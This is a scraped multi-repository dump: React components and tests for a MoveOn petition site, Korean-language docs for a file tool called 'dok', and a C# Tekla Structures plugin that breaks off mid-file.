<Link className='icon-start icon-link-narrow' to='/create_start.html?source=bnav'>Start a Petition</Link>
<Link className='icon-link-narrow icon-managepetitions' to='/dashboard.html'>Manage Petitions</Link>
<ul className='nav'>
<li><a className='lh-14 navlink' href='https://petitions.moveon.org/about.html'>About</a></li>
<li><Link to='/organizations.html'>Organizations</Link></li>
<li><a href='https://front.moveon.org/category/victories/'>Victories</a></li>
<li><a href='https://civic.moveon.org/donatec4/creditcard.html?cpn_id=511'>Donate</a></li>
<li><a href='https://act.moveon.org/survey/press'>Press</a></li>
<li><Link to='/feedback.html'>Contact</Link></li>
<li><a href='https://front.moveon.org/blog/'>Blog</a></li>
<li><Link to='/login/register.html'>Sign Up</Link></li>
<li><Link to='/privacy.html'>Privacy Policy</Link></li>
<li><Link to='/terms.html'>Terms of Use</Link></li>
<li><a href='https://front.moveon.org/careers'>Careers</a></li>
</ul>
</div>
</div>
</div>
<div className='lh-20 span8 disclaimer bump-top-1'>
<p>A joint website of MoveOn.org Civic Action and MoveOn.org Political Action.</p>
<p><a href='https://civic.moveon.org/'>MoveOn.org Civic Action</a> is a 501(c)(4) organization which primarily focuses on nonpartisan education and advocacy on important national issues. MoveOn.org Political Action is a federal political committee which primarily helps members elect candidates who reflect our values through a variety of activities aimed at influencing the outcome of the next election. MoveOn.org Political Action and MoveOn.org Civic Action are separate organizations.</p>
</div>
</div>
<ul className='unstyled'>
<li><a href='https://www.facebook.com/moveon' className='icon-fb black-navlink'>Follow us on Facebook</a></li>
<li><a href='https://www.twitter.com/moveon' className='icon-twitter black-navlink'>Follow us on Twitter</a></li>
<li><a href='https://civic.moveon.org/keepmeposted/' className='icon-join black-navlink'>Newsletter Signup</a></li>
</ul>
</div>
)
export default Footer
<file_sep>/src/components/signature-add-form.js
import React from 'react'
import PropTypes from 'prop-types'
import { connect } from 'react-redux'
import { Link } from 'react-router'
import CountrySelect from './form/country-select'
import StateOrRegionInput from './form/state-or-region-input'
import ZipOrPostalInput from './form/zip-or-postal-input'
import { actions as petitionActions } from '../actions/petitionActions.js'
import { actions as sessionActions } from '../actions/sessionActions.js'
class SignatureAddForm extends React.Component {
constructor(props) {
super(props)
this.state = {
name: false,
email: false,
country: 'United States',
address1: false,
address2: false,
city: false,
state: false,
region: false,
zip: false,
postal: false,
comment: false,
volunteer: false,
phone: false,
validationTried: false,
thirdparty_optin: props.hiddenOptin || props.showOptinCheckbox,
hidden_optin: props.hiddenOptin,
required: {}
}
this.validationRegex = {
email: /.+@.+\..+/, // Forgiving email regex
zip: /(\d\D*){5}/,
phone: /(\d\D*){10}/ // 10-digits
}
this.volunteer = this.volunteer.bind(this)
this.submit = this.submit.bind(this)
this.validationError = this.validationError.bind(this)
this.updateStateFromValue = this.updateStateFromValue.bind(this)
}
getOsdiSignature() {
const { petition, query, showOptinCheckbox, user } = this.props
const osdiSignature = {
petition: {
name: petition.name,
petition_id: petition.petition_id,
show_optin: showOptinCheckbox,
_links: petition._links
},
person: {
full_name: this.state.name,
email_addresses: [],
postal_addresses: []
}
}
if (this.state.comment) {
osdiSignature.comments = this.state.comment
}
if (this.state.name) {
osdiSignature.person.full_name = this.state.name
} else if (user.given_name) {
osdiSignature.person.given_name = user.given_name
}
if (this.state.email) {
osdiSignature.person.email_addresses.push({
address: this.state.email
})
}
if (user.token) {
osdiSignature.person.identifiers = [user.token]
}
if (this.state.phone) {
osdiSignature.person.phone_numbers = [this.state.phone]
}
if (this.state.city) {
osdiSignature.person.postal_addresses.push({
locality: this.state.city,
region: ((this.state.country === 'United States') ? this.state.state : this.state.region),
postal_code: ((this.state.country === 'United States') ? this.state.zip : this.state.postal),
country_name: this.state.country
})
}
if (this.state.address1) {
const lines = [this.state.address1]
if (this.state.address2) {
lines.push(this.state.address2)
}
osdiSignature.person.postal_addresses[0].address_lines = lines
}
const referrerKeys = [
'source', 'r_by', 'fb_test', 'abid', 'abver', 'test_group', 'no_mo', 'mailing_id', 'r_hash']
const referrerData = referrerKeys.filter(k => query[k]).map(k => ({ [k]: query[k] }))
if (referrerData.length) {
osdiSignature.referrer_data = Object.assign({}, ...referrerData)
}
const customFields = ['thirdparty_optin', 'hidden_optin', 'volunteer']
const customData = customFields.filter(k => this.state[k]).map(k => ({ [k]: this.state[k] }))
if (customData.length) {
osdiSignature.person.custom_fields = Object.assign({}, ...customData)
}
// Console.log('signature!', osdiSignature)
return osdiSignature
}
validationError(key) {
if (this.state.validationTried) {
if (Object.keys(this.state.required).indexOf(key) > -1) {
const regex = this.validationRegex[key]
if (!this.state[key] || (regex && !regex.test(String(this.state[key])))) {
return (
<div className='alert alert-danger' role='alert'>{this.state.required[key]}</div>
)
}
}
}
return null
}
formIsValid() {
this.setState({ validationTried: true })
this.updateRequiredFields(true)
return Object.keys(this.state.required).map(
key => !!(this.state[key]
&& (!this.validationRegex[key]
|| this.validationRegex[key].test(String(this.state[key]))))
).reduce((a, b) => a && b, true)
}
updateStateFromValue(field) {
return (event) => {
this.setState({ [field]: event.target.value })
}
}
volunteer(event) {
const vol = event.target.checked
const req = this.updateRequiredFields(false)
if (vol) {
req.phone = 'We need a phone number to coordinate volunteers.'
} else {
delete req.phone
}
this.setState({ volunteer: vol,
required: req })
}
updateRequiredFields(doUpdate) {
// This is a separate method because it can change when state or props are changed
const { user, requireAddressFields } = this.props
const required = this.state.required
let changeRequiredFields = false
if (!user.signonId) {
Object.assign(required, {
name: 'Name is required.',
email: 'Email address is required.',
state: 'State is required.',
zip: 'Zip code is required.'
})
changeRequiredFields = true
} else {
delete required.name
delete required.email
delete required.state
delete required.zip
}
if (requireAddressFields) {
Object.assign(required, {
address1: 'Full address is required.',
city: 'City is required.',
state: 'State is required.',
zip: 'Zip code is required.'
})
changeRequiredFields = true
} else {
delete required.address1
delete required.city
delete required.state
}
if (this.state.country !== 'United States') {
delete required.state
delete required.zip
}
if (changeRequiredFields && doUpdate) {
this.setState({ required })
}
return required
}
submit(event) {
event.preventDefault()
const { dispatch, petition } = this.props
if (this.formIsValid()) {
const osdiSignature = this.getOsdiSignature()
dispatch(petitionActions.signPetition(osdiSignature, petition, { redirectOnSuccess: true }))
}
return false
}
render() {
const { dispatch, petition, user, query, showAddressFields, requireAddressFields } = this.props
const creator = (petition._embedded && petition._embedded.creator || {})
const petitionBy = creator.name + (creator.organization
? `, ${creator.organization}`
: '')
const iframeEmbedText = `<iframe src="https://petitions.moveon.org/embed/widget.html?v=3&name=${petition.slug}" class="moveon-petition" id="petition-embed" width="300px" height="500px"></iframe>` // Text to be copy/pasted
return (
<div className='span4 widget clearfix' id='sign-here'>
<div className='padding-left-15 form-wrapper background-moveon-light-gray padding-top-1 padding-bottom-1' style={{ paddingRight: 15, position: 'relative', top: -10 }}>
<div className='petition-top visible-phone' style={{ paddingLeft: 20 }}>
{(user.admin_petition_link) ?
<a style={{ float: 'right' }} href={`${user.admin_petition_link}?petition_id=${petition.petition_id}`}>zoom ✎</a>
: ''}
<p id='to-target' className='lh-14 bump-top-1 bump-bottom-1 margin-0 disclaimer'>
Petition statement to be delivered to <span className='all-targets'>
<strong>{petition.target.map((t) => t.name).join(', ')}</strong>
</span>
</p>
<h1 id='petition-title' className='moveon-bright-red big-title'>{petition.title}</h1>
<p id='by' className='byline lh-20'>
Petition by <a href={`/contact_creator.html?petition_id=${petition.petition_id}`} className='underline'>{petitionBy}</a>
</p>
</div>
<div className='widget-top margin-0 hidden-phone'>
<h3 className='moveon-bright-red'>Sign this petition</h3>
</div>
<form name='sign_form' id='sign' method='post' action='.' onSubmit={this.submit}>
<input type='hidden' name='petition_id' value={petition.id} />
<input type='hidden' name='source' value={query.source || ''} />
<input type='hidden' name='r_by' value={query.r_by || ''} />
<input type='hidden' name='mailing_id' value={query.mailing_id || ''} />
<input type='hidden' name='fb_test' value={query.fb_test || '0'} />
<input type='hidden' name='test_group' value={query.test_group || ''} />
<input type='hidden' name='no_mo' value={query.no_mo || ''} />
<input type='hidden' name='id' value={((user.token && (/^id:/.test(user.token))) ? user.token.slice(3) : '')} />
<input type='hidden' name='akid' value={((user.token && (/^akid:/.test(user.token))) ? user.token.slice(5) : '')} />
<input type='hidden' name='recognized_user' id='recognized_user_field' value={user.signonId ? '1' : '0'} />
<input type='hidden' name='show_optin_checkbox' value={this.props.showOptinCheckbox ? '1' : '0'} />
{(this.props.hiddenOptin) ? (
<span>
<input type='hidden' name='thirdparty_optin' value='1' />
<input type='hidden' name='hidden_optin' value='1' />
</span>
) : ''}
{((user.signonId)
? // Recognized
<div id='recognized' style={{ marginBottom: '1em' }}>
<strong>Welcome back {user.given_name}!</strong>
<div> (Not {user.given_name}? <a onClick={() => { dispatch(sessionActions.unRecognize()) }}>Click here.</a>) </div>
</div>
: // Anonymous
<div className='unrecognized'>
<input
type='text'
name='name'
placeholder='Name*'
className='moveon-track-click'
onChange={this.updateStateFromValue('name')}
onBlur={this.updateStateFromValue('name')}
/>
{this.validationError('name')}
<input
type='text'
name='email'
placeholder='Email*'
className='moveon-track-click'
onChange={this.updateStateFromValue('email')}
onBlur={this.updateStateFromValue('email')}
/>
{this.validationError('email')}
</div>
)}
{(showAddressFields) ? (
<div>
<CountrySelect
value={this.state.country}
onChange={(event) => this.setState({ country: event.target.value })}
/>
<input
type='text'
name='address1'
placeholder={requireAddressFields ? 'Address*' : 'Address'}
onChange={this.updateStateFromValue('address1')}
onBlur={this.updateStateFromValue('address1')}
className='moveon-track-click'
/>
{this.validationError('address1')}
<input
type='text'
name='address2'
placeholder='Address (cont.)'
className='moveon-track-click'
onChange={this.updateStateFromValue('address2')}
onBlur={this.updateStateFromValue('address2')}
/>
<input
type='text'
name='city'
placeholder={petition.needs_full_addresses ? 'City*' : 'City'}
onChange={this.updateStateFromValue('city')}
onBlur={this.updateStateFromValue('city')}
className='moveon-track-click'
/>
{this.validationError('city')}
<StateOrRegionInput
country={this.state.country}
stateOnChange={this.updateStateFromValue('state')}
regionOnChange={this.updateStateFromValue('region')}
/>
{this.validationError('state')}
<ZipOrPostalInput
country={this.state.country}
zipOnChange={this.updateStateFromValue('zip')}
postalOnChange={this.updateStateFromValue('postal')}
/>
{this.validationError('zip')}
</div>
) : ''}
<textarea
className='moveon-track-click'
rows='3'
cols='20'
name='comment'
autoComplete='off'
onChange={this.updateStateFromValue('comment')}
onBlur={this.updateStateFromValue('comment')}
placeholder='Comment'
></textarea>
{(petition.collect_volunteers)
? (
<div>
<input type='checkbox' id='volunteer_box' name='volunteer' value='1' onClick={this.volunteer} /> <label htmlFor='volunteer_box' style={{ display: 'inline' }}>{petition.collect_volunteers}</label>
{(this.state.volunteer) ? (
<div id='phone_div'>
<input
type='text'
name='phone'
placeholder='Phone*'
className='phone moveon-track-click'
onChange={this.updateStateFromValue('phone')}
onBlur={this.updateStateFromValue('phone')}
/>
{this.validationError('phone')}
</div>
) : ''}
</div>)
: ''}
<button
type='submit'
className='xl percent-100 moveon-track-click background-moveon-bright-red'
id='sign-here-button'
value='Sign the petition!'
style={{ marginTop: 7.2 }}
onClick={this.submit}
>Sign the petition</button>
{(this.props.showOptinCheckbox) ? (
<div>
<label id='checkbox_label' htmlFor='checkbox' className='bump-top-1'>
<input
type='checkbox'
name='thirdparty_optin'
value='1'
className='moveon-track-click'
checked={this.state.thirdparty_optin}
onChange={(evt) => this.setState({ thirdparty_optin: evt.target.checked })}
/> Receive campaign updates from {creator.organization || 'this organization'}.
</label>
</div>
) : ''}
{(this.props.showOptinWarning) ? (
<p className='disclaimer bump-top-1'>
<b>Note:</b> This petition is a project of {creator.organization} and MoveOn.org. By signing, you agree to receive email messages from <span id='organization_receive'>{creator.organization}, </span>MoveOn Political Action, and MoveOn Civic Action. You may unsubscribe at any time. [<Link to='/privacy.html'>privacy policy</Link>]
</p>)
: (
<p className='disclaimer bump-top-1'>
<b>Note:</b> By signing, you agree to receive email messages from MoveOn.org Civic Action and MoveOn.org Political Action. You may unsubscribe at any time. [ <Link to='/privacy.html'>Privacy policy</Link> ]
</p>)}
</form>
</div>
<div className='percent-90 padding-left-15 bump-top-1'>
<div className='widget-top hidden-phone'>
<h3 className='moveon-bright-red'>Embed This petition</h3>
</div>
<div id='embedbox' className='codebox percent-95 hidden-phone moveon-track-click'>
{iframeEmbedText}
</div>
</div>
</div>
)
}
}
SignatureAddForm.propTypes = {
petition: PropTypes.object.isRequired,
user: PropTypes.object,
dispatch: PropTypes.func,
query: PropTypes.object,
showAddressFields: PropTypes.bool,
requireAddressFields: PropTypes.bool,
fromCreator: PropTypes.bool,
fromMailing: PropTypes.bool,
showOptinWarning: PropTypes.bool,
showOptinCheckbox: PropTypes.bool,
hiddenOptin: PropTypes.bool
}
function mapStateToProps(store, ownProps) {
const user = store.userStore
const { petition, query } = ownProps
const creator = (petition._embedded && petition._embedded.creator || {})
const source = query.source || ''
const newProps = {
user,
showAddressFields: (!(user.signonId) || !(user.postal_addresses && user.postal_addresses.length)),
requireAddressFields: (petition.needs_full_addresses
&& !(user.postal_addresses && user.postal_addresses.length)),
fromCreator: (/^c\./.test(source) || /^s\.icn/.test(source)),
fromMailing: /\.imn/.test(source)
}
newProps.showOptinWarning = !!(!user.signonId && (creator.source
|| (creator.custom_fields && creator.custom_fields.may_optin)))
newProps.hiddenOptin = !!(!user.signonId && ((creator.source && ((newProps.fromCreator && !query.mailing_id)
|| !newProps.fromMailing))
|| (!creator.source
&& creator.custom_fields && creator.custom_fields.may_optin
&& newProps.fromCreator
&& !query.mailing_id)))
newProps.showOptinCheckbox = !!(!user.signonId && newProps.showOptinWarning && !newProps.hiddenOptin)
return newProps
}
export default connect(mapStateToProps)(SignatureAddForm)
export const WrappedComponent = SignatureAddForm
<file_sep>/src/actions/navActions.js
import 'whatwg-fetch'
import Config from '../config.js'
export const actionTypes = {
FETCH_ORG_REQUEST: 'FETCH_ORG_REQUEST',
FETCH_ORG_SUCCESS: 'FETCH_ORG_SUCCESS',
FETCH_ORG_FAILURE: 'FETCH_ORG_FAILURE'
}
export function loadOrganization(orgSlug, forceReload) {
const urlKey = `organizations/${orgSlug}`
if (global && global.preloadObjects && global.preloadObjects[urlKey]) {
return (dispatch) => {
dispatch({
type: actionTypes.FETCH_ORG_SUCCESS,
org: window.preloadObjects[urlKey],
slug: orgSlug
})
}
}
return (dispatch, getState) => {
dispatch({
type: actionTypes.FETCH_ORG_REQUEST,
slug: orgSlug
})
const { navStore } = getState()
if (!forceReload
&& navStore
&& navStore.orgs
&& navStore.orgs[orgSlug]) {
return dispatch({
type: actionTypes.FETCH_ORG_SUCCESS,
org: navStore.orgs[orgSlug],
slug: orgSlug
})
}
return fetch(`${Config.API_URI}/${urlKey}.json`)
.then(
(response) => response.json().then((json) => {
dispatch({
type: actionTypes.FETCH_ORG_SUCCESS,
org: json,
slug: json.name || orgSlug
})
}),
(err) => {
dispatch({
type: actionTypes.FETCH_ORG_FAILURE,
error: err,
slug: orgSlug
})
}
)
}
}
<file_sep>/test/components/search-results.js
import React from 'react'
import { Provider } from 'react-redux'
import { expect } from 'chai'
import { mount } from 'enzyme'
import { createMockStore } from 'redux-test-utils'
import SearchResults from '../../src/components/search-results'
describe('<SearchResults />', () => {
it('can render no results', () => {
const props = { pageNumber: '1', query: '', pageSize: 0 }
const myComponent = <SearchResults {...props} params={{}} />
const embed = []
const baseStore = createMockStore({ userStore: {}, petitionSearchStore: { searchResults: { _embed: embed, _links: { url: '' }, count: '0', page_size: 0 } } })
const context = mount(<Provider store={baseStore} children={myComponent} />)
expect(context.find('#search-results').length).to.equal(1)
expect(context.find('.result').length).to.equal(0)
})
it('can render a page of results', () => {
const embed = [{ name: 'a' }, { name: 'a' }, { name: 'a' }, { name: 'a' }, { name: 'a' }]
const links = { next: '', url: '' }
const baseStore = createMockStore({ userStore: {}, petitionSearchStore: { searchResults: { _embed: embed, _links: links, count: '10', page_size: 5 } } })
const props = { pageNumber: '1', query: '', pageSize: 5 }
const myComponent = <SearchResults {...props} params={{}} />
const context = mount(<Provider store={baseStore} children={myComponent} />)
expect(context.find('#search-results').length).to.equal(1)
expect(context.find('.result').length).to.equal(5)
})
})
<file_sep>/src/components/login-form.js
import React from 'react'
import PropTypes from 'prop-types'
import { Link } from 'react-router'
import { isValidEmail } from '../lib'
class LoginForm extends React.Component {
constructor(props) {
super(props)
this.state = {
presubmitErrors: null
}
this.handleSubmit = this.handleSubmit.bind(this)
}
componentWillReceiveProps(nextProps) {
if (nextProps.errors) {
this.setState({ presubmitErrors: null })
}
this.password.value = ''
this.passwordConfirm.value = ''
}
/**
* Validates the form for client side errors.
* If valid returns true otherwise false.
* If errors it will update the local state `presubmitErrors`
* @returns {boolean}
*/
validateForm() {
const { email, password } = this
const errors = []
if (!isValidEmail(email.value)) {
if (!this.email.value.trim().length) {
errors.push({ message: 'Missing required entry for the Email field.' })
} else {
errors.push({ message: 'Invalid entry for the Email field.' })
}
}
if (!password.value.trim().length) {
errors.push({ message: 'Missing required entry for the Password field.' })
}
if (errors.length) {
this.setState({ presubmitErrors: errors })
}
return !errors.length
}
handleSubmit(event) {
event.preventDefault()
if (this.validateForm()) {
this.props.onSubmit({
email: this.email.value,
password: this.password.value
})
}
}
/**
* Get the current errors as a jsx array.
* @returns {Array} an jsx array of errors
*/
errorList() {
const errors = this.state.presubmitErrors || this.props.errors || []
return errors.map((error, idx) => <li key={idx}>{error.message}</li>)
}
render() {
return (
<div className='container'>
<div className='row'>
<div className='span6 offset3'>
<div className='well login clearfix'>
<h1 className='lanky-header size-xl'>It’s time to log in!</h1>
<ul className='errors'>
{this.errorList()}
</ul>
<form method='POST' onSubmit={this.handleSubmit}>
<input
ref={email => (this.email = email)}
type='text'
name='email'
placeholder='Email'
/>
<input
ref={password => (this.password = password)}
type='password'
name='password'
placeholder='<PASSWORD>'
/>
<div>
<div className='bump-bottom-2'>
<input
type='submit'
value='Login'
className='button bump-top-2'
/>
</div>
<ul className='unstyled inline size-small'>
<li>
<Link to='/login/forgot_password.html'>
Forgot your password?
</Link>
</li>
<li>
Never used MoveOn’s petition website?{' '}
<Link to='/login/register.html'>Sign up now.</Link>
</li>
</ul>
</div>
</form>
</div>
</div>
</div>
</div>
)
}
}
LoginForm.propTypes = {
errors: PropTypes.array,
onSubmit: PropTypes.func,
isSubmitting: PropTypes.bool
}
export default LoginForm
|
512004bd9a2ff19326f7fead07a7953471f885b1
|
[
"Markdown",
"JavaScript"
] | 57 |
Markdown
|
6ewis/mop-frontend
|
bc2fa16b9fe125224e4f950a103093b0761d3925
|
b330261bbcc196e49bfe2aa78871e06164019538
|
refs/heads/master
|
<repo_name>kscarr73/OsgiWebSrv<file_sep>/README.md
OsgiWebSrv
==========
Creates a CXF Whiteboard Model for OSGI. Processor bundle listens for SOAP and REST Interfaces to be registered, and assigns them to CXF.
|
7646b8a504ace8af8d8249e1e8b18ad60a3d36ba
|
[
"Markdown"
] | 1 |
Markdown
|
kscarr73/OsgiWebSrv
|
7e1fa41818b9330fbfeef6155b3a2bd816177f8b
|
cf42d133aafaaeca4bb6280eba732d580863a61b
|
refs/heads/master
|
<repo_name>MayurK2001/Data-Visualization-Flipkart-Dataset<file_sep>/README.md
# Data-Visualization-Flipkart-Dataset
data visualization practice with flipkart dataset of smartphones
data visualizarion with python:
I have given this repository of flipkart smartphone dataset from kaggle.com
|
5225c32ebef434027f9544a4e3bc75d22db5d2ee
|
[
"Markdown"
] | 1 |
Markdown
|
MayurK2001/Data-Visualization-Flipkart-Dataset
|
0db73dd5aee3db12046fbfdf06447f06ee9e71da
|
f16509f03cbbb3fe7088c0616150dd4bdb1b419b
|
refs/heads/master
|
<repo_name>boatio/dok<file_sep>/README.md
# dok 1.0
`dok` 란 보트가 개발한 패키지(? -> 파일) 관리툴이다<br>
`dok`는 따로 도크용 콘솔을 지원해준다<br>
# dok Terminal 기능
`dok` 콘솔에는 많은 기능을 지원해주는데<br>
지원해주는 기능 모음:<br>
`git clone`<br>
`hammer`,<br>
`dok` <br>
이렇게 있다<br>
그리고 `git` 은 git clone기능만 있다<br>
____________________________________________________________________________
# dok command
`dok` 터미널을 켜 준다 <br>
그리고 첫번째 예제인 `html`을 생성해보자<br>
dok 터미널에 이렇게 입력해준다<br>
`dok html -y`<br>
그럼 예제 파일이랑 같이 html이 만들어진다 <br>
`-y`는 yaga < 예제라는 것이다<br>
<pre><code>
[dok html -y]
|-- 현재 디렉토리
| |-- index.html
| |-- script.css
__________________
</code></pre>
생성된 예제 html을 마음대로 수정해도 상관이 없다.
`dok html`을 쓰면 그냥 html파일을 만들 수 있다
<pre><code>
[dok html]
|-- 현재 디렉토리
| |-- index.html
| |-- dok.js
__________________
</code></pre>
만약 dok_package 폴더 안에 생성 하고 싶으면<br>
dok html -y -f<br>
`-f`가 있으면 폴더를 생성하여 만든다는 뜻이다.<br>
<hr>
`dok init`를 입력하면 도크 양식이 뜨는데 npm 같은 거에서는 npm init 같 은 것 이 다<br>
`name : `
<br>`Link : ` (//참고로 github링크만 가능)<br>
`ver : ` (버전)<br>
`by : ` (제작자)<br>
이렇게 양식이 적용됬다.
인제 개발자 issues에 요청을 해주면
보는 즉시 개발자가 올려준다.
그럼 실제로 한 번 올려보자
<pre><code>
Dok 콘솔
[C:~/myconsole] - $ dok init
name : zikijs
Link : https://github.com/boatio/boat.js
by : boatonboat
zikijs|https://github.com/boatio/boat.js/archive/master.zip|1.0|boatonboat //<<이것을 복사
[C:~/myconsole] - $
</code></pre>
이렇게 복사해주어서 issuge에 올려주면
만약 개발자가 올렸다고 이모지 또는 댓글을 달아주면 올려준것이다
<pre><code>
Dok 콘솔
[C:~/myconsole] - $ dok install zikijs
Get... Data Json
Find Moduel..
download Package..
100% [............................................................] 4581 / 4581
zikijs @ 1.0
Made by boatonboat
</code></pre>
이렇게 뜬다
한 번 올려보자
<file_sep>/how to start dok/tutorial1.md
# dok 강좌 1
강의를 쓰게 된 보트라고 합니다<br>
일단 저에 대해서 간단한 소개를 하자면<br>
코딩을 좋아하는 학생입니다<br>
이것은 제 유튜브인데 >> (<https://www.youtube.com/channel/UCKLJOBVZlGCLYJepRwLNeQA?view_as=subscriber>) <br>
~~구독 눌려주시면 감사하겠습니다~~<br>
일단 시작해봅시다.<br>
### dok 설명
dok는 보트가 만든 파일 관리자 툴입니다 <br>
dok는 dok용 dok 터미널을 지원해주는데 <br>
당연히 cmd도 쓸수 있습니다ㅣ.<br>
dok 터미널에 있는 기능을 이렇습니다
>dok<br>
>>hammer<br>
>>>git clone<br>
일단 dok는 나중에도 설명하껄여서 넘기도 록 하겠습니다.<br>
hammer은 관리자 기능인데 아직 추가가 안됬습니다<br>
git clone는 git에서 쓸 수 있는 기능을 git clone기능만 dok 터미널에 넣었습니다<br>
### git clone 알아보기
git에서 만든 git clone 같은데 있는데 <br>
`예시> git clone https://github.com/boatio/~ ~.git`<br>
이렇게 하시면 다운이 되는 거죠<br>
그럼 인제 dok에 대해 더 알아봅시다
### dok 본격적으로 시작하기
`dok`를 시작해봅시다 앞에 서론이 길었는데 <br>
본격적으로 dok를 사용해봅시다 <br>
첫번째로 도크 터미널을 켜 주세요<br>
그 다음에는 `dok -v` 이라고<br>
터미널에 적어주시길 바랍니다<br>
그럼 dok 버전이 뜹니다.<br>
그럼 정상적으로 dok가 설치 된 것 입니다.<br>
자 그럼 처음으로 html 파일을 생성 해봅시다<br>
dok 명령어는 간단히<br>
`dok [명령어]` 이렇게 쓰면 됩니다<br>
dok 터미널에 <br>
`dok html` 이라고 적어주세요<br>
그럼 인제 현제 디렉토리에 자동으로 html<br>
이 생성 됬습니다<br>
현재 디렉토리를 보시면<br>
<pre><code>
─현재 디렉토리
│── index.html
│── script.js
</code></pre>
가 생성 되었습니다
그럼 이상을 1강
<file_sep>/Package-list/test.md
# test
다운방법<br>
`dok install test`<br>
버전:`1.0`<br>
제작자:보트타고보트타고<br>
여담:보트가 test용으로 올렸다는 여담이 있다
<file_sep>/how to start dok/tutorial2.md
# dok 강좌 2
안녕하세요 보트입니다 <br>
dok에 대해서 오늘도 알아보도록 하죠<br>
도크 터미널에서 전에는 html 파일을 생성 해 봤는데<br>
이번에는 다르게 html 예제 파일을 생성 해 보겠습니다.<br>
**dok 터미널을 켜주시면 됩니다**<br>
그럼 인제 터미널에 명령어를 적어보도록 하겠습니다<br>
`dok html -y` 이렇게 dok 터미널에 적어주시고 엔터를 눌려주세요<br>
그러면 자동 css , html 파일을 포함하고 있는 dok<br>
예제 파일이 만들어졌습니다.<br>
`-y`는 html dok 터미널에서 html 예제 파일을 <br>
만든 다는 뜻입니다<br>
그럼 다시 디렉토리를 보면
<pre><code>
|─현재 디렉토리
├───index.html
├───script.js
</code></pre>
이렇게 생성되시는 것을 보실수 있습니다<br>
아 !! 그런데 난 한 폴더에 생성하고 싶은데 cd 하긴 귀찮은데...<br>
라는 분이 계실 수도 있겠죠<br>
그래서 옵션인 `-f`가 있습니다<br>
`-f`는 dok_package라는 폴더를 생성하여 저장한 다는 뜻입니다<br>
만약에 index.html 또는 script.js 같은 파일이 있으면 생성이 안 됩니다<br>
이 번 강의에서는 html 관련 강의를 했습니다
다음에는 install에 관해서
|
693e36a96acf70437e7660ff4e4c9442456a2b1c
|
[
"Markdown"
] | 4 |
Markdown
|
boatio/dok
|
78e8570be5dbccfbc5f876ee59b6f120bf8a5290
|
178867576a548524bd1c181fbc2048ad9927ff97
|
refs/heads/master
|
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
using Tekla.Structures.Dialog;
namespace WPFPluginTemplate
{
/// <summary>
/// Логика взаимодействия для MainWindow.xaml
/// </summary>
public partial class MainWindow : PluginWindowBase
{
public MainWindowViewModel dataModel;
public MainWindow(MainWindowViewModel DataModel)
{
InitializeComponent();
dataModel = DataModel;
}
private void WpfOkApplyModifyGetOnOffCancel_ApplyClicked(object sender, EventArgs e)
{
this.Apply();
}
private void WpfOkApplyModifyGetOnOffCancel_CancelClicked(object sender, EventArgs e)
{
this.Close();
}
private void WpfOkApplyModifyGetOnOffCancel_GetClicked(object sender, EventArgs e)
{
this.Get();
}
private void WpfOkApplyModifyGetOnOffCancel_ModifyClicked(object sender, EventArgs e)
{
this.Modify();
}
private void WpfOkApplyModifyGetOnOffCancel_OkClicked(object sender, EventArgs e)
{
this.Apply();
this.Close();
}
private void WpfOkApplyModifyGetOnOffCancel_OnOffClicked(object sender, EventArgs e)
{
this.ToggleSelection();
}
private void ComboBox_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
if (this.faska.SelectedIndex==1)
{
this.zazor.IsEnabled = true;
}
else
{
this.zazor.IsEnabled = false;
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TSG = Tekla.Structures.Geometry3d;
using TSM = Tekla.Structures.Model;
using Tekla.Structures.Model.Operations;
using Tekla.Structures.Model.UI;
using Tekla.Structures.Plugins;
using System.Collections;
using System.Windows;
using Tekla.Structures.Catalogs;
using Tekla.Structures.Solid;
namespace WPFPluginTemplate
{
public class PluginData
{
[StructuresField("parametrh1")]
public double h1;
[StructuresField("parametrh2")]
public double h2;
[StructuresField("anglea1")]
public double a1;
[StructuresField("list1")]
public int l1;
[StructuresField("parametrs1")]
public int s1;
}
[Plugin("WPFPluginTemplate")]
[PluginUserInterface("WPFPluginTemplate.MainWindow")]
[PluginCoordinateSystem(CoordinateSystemType.FROM_FIRST_POINT_AND_GLOBAL)]
public class WPFPluginTemplite : PluginBase
{
//Внутренние поля
private double _h1 = 100.0;
private double _h2 = 2.0;
private double _a1 = 45.0;
private int _l1 = 0;
private int _s1 = 0;
private TSM.Model _Model;
private PluginData _Data;
private TSM.Model Model { get => _Model; set => _Model = value; }
private PluginData Data { get => _Data; set => _Data = value; }
public WPFPluginTemplite(PluginData data)
{
Model = new TSM.Model();
Data = data;
}
public override List<InputDefinition> DefineInput()
{
//Основной метод получения данных из теклы.
List<InputDefinition> PointList = new List<InputDefinition>();
Picker Picker = new Picker();
//Выбор детали
TSM.Part select = (TSM.Part)Picker.PickObject(Picker.PickObjectEnum.PICK_ONE_PART);
//Указание точек размещения
ArrayList PickedPoints = Picker.PickPoints(Picker.PickPointEnum.PICK_TWO_POINTS);
PointList.Add(new InputDefinition(PickedPoints));
PointList.Add(new InputDefinition(select.Identifier));
ArrayList points = (ArrayList)PointList[0].GetInput();
MessageBox.Show(points[0].ToString());
return PointList;
}
public override bool Run (List<InputDefinition> Input)
{
try
{
GetValueFromDialog();
//System.Threading.Thread.CurrentThread.CurrentCulture = new System.Globalization.CultureInfo("en-US");
TSM.Beam beam = new TSM.Beam();
ArrayList points = (ArrayList)Input[0].GetInput();
//Магия. Выделенную деталь передаем сюда через идентификатор.
TSM.Part beam1 = (TSM.Part)_Model.SelectModelObject((Tekla.Structures.Identifier)Input[1].GetInput());
Double WIDTH = 0.0;
//Получение свойств выделенной детали. В данном случае толщину
beam1.GetReportProperty("WIDTH", ref WIDTH);
//Создаем массив из будущих разделок
string[] faska = new string[] {$"MHP{_h1}*{_a1}*{(int)WIDTH}",$"RT{_h2}*{_h1}*{_a1}*{(int)WIDTH}", $"RT0.01*{_h1}*{_a1}*{(int)WIDTH}" };
beam.Profile.ProfileString = faska[_l1];
//Задаем свойства нашей детали-разделки
beam.StartPoint = new TSG.Point(points[0] as TSG.Point);
beam.EndPoint = new TSG.Point(points[1] as TSG.Point);
//Просматриваем грани детали в поисках той что прилегает в фаске. Находи ее высоту.
//Double WIDTH_Z = WIDTH;
//ISolid solid = beam1.GetSolid();
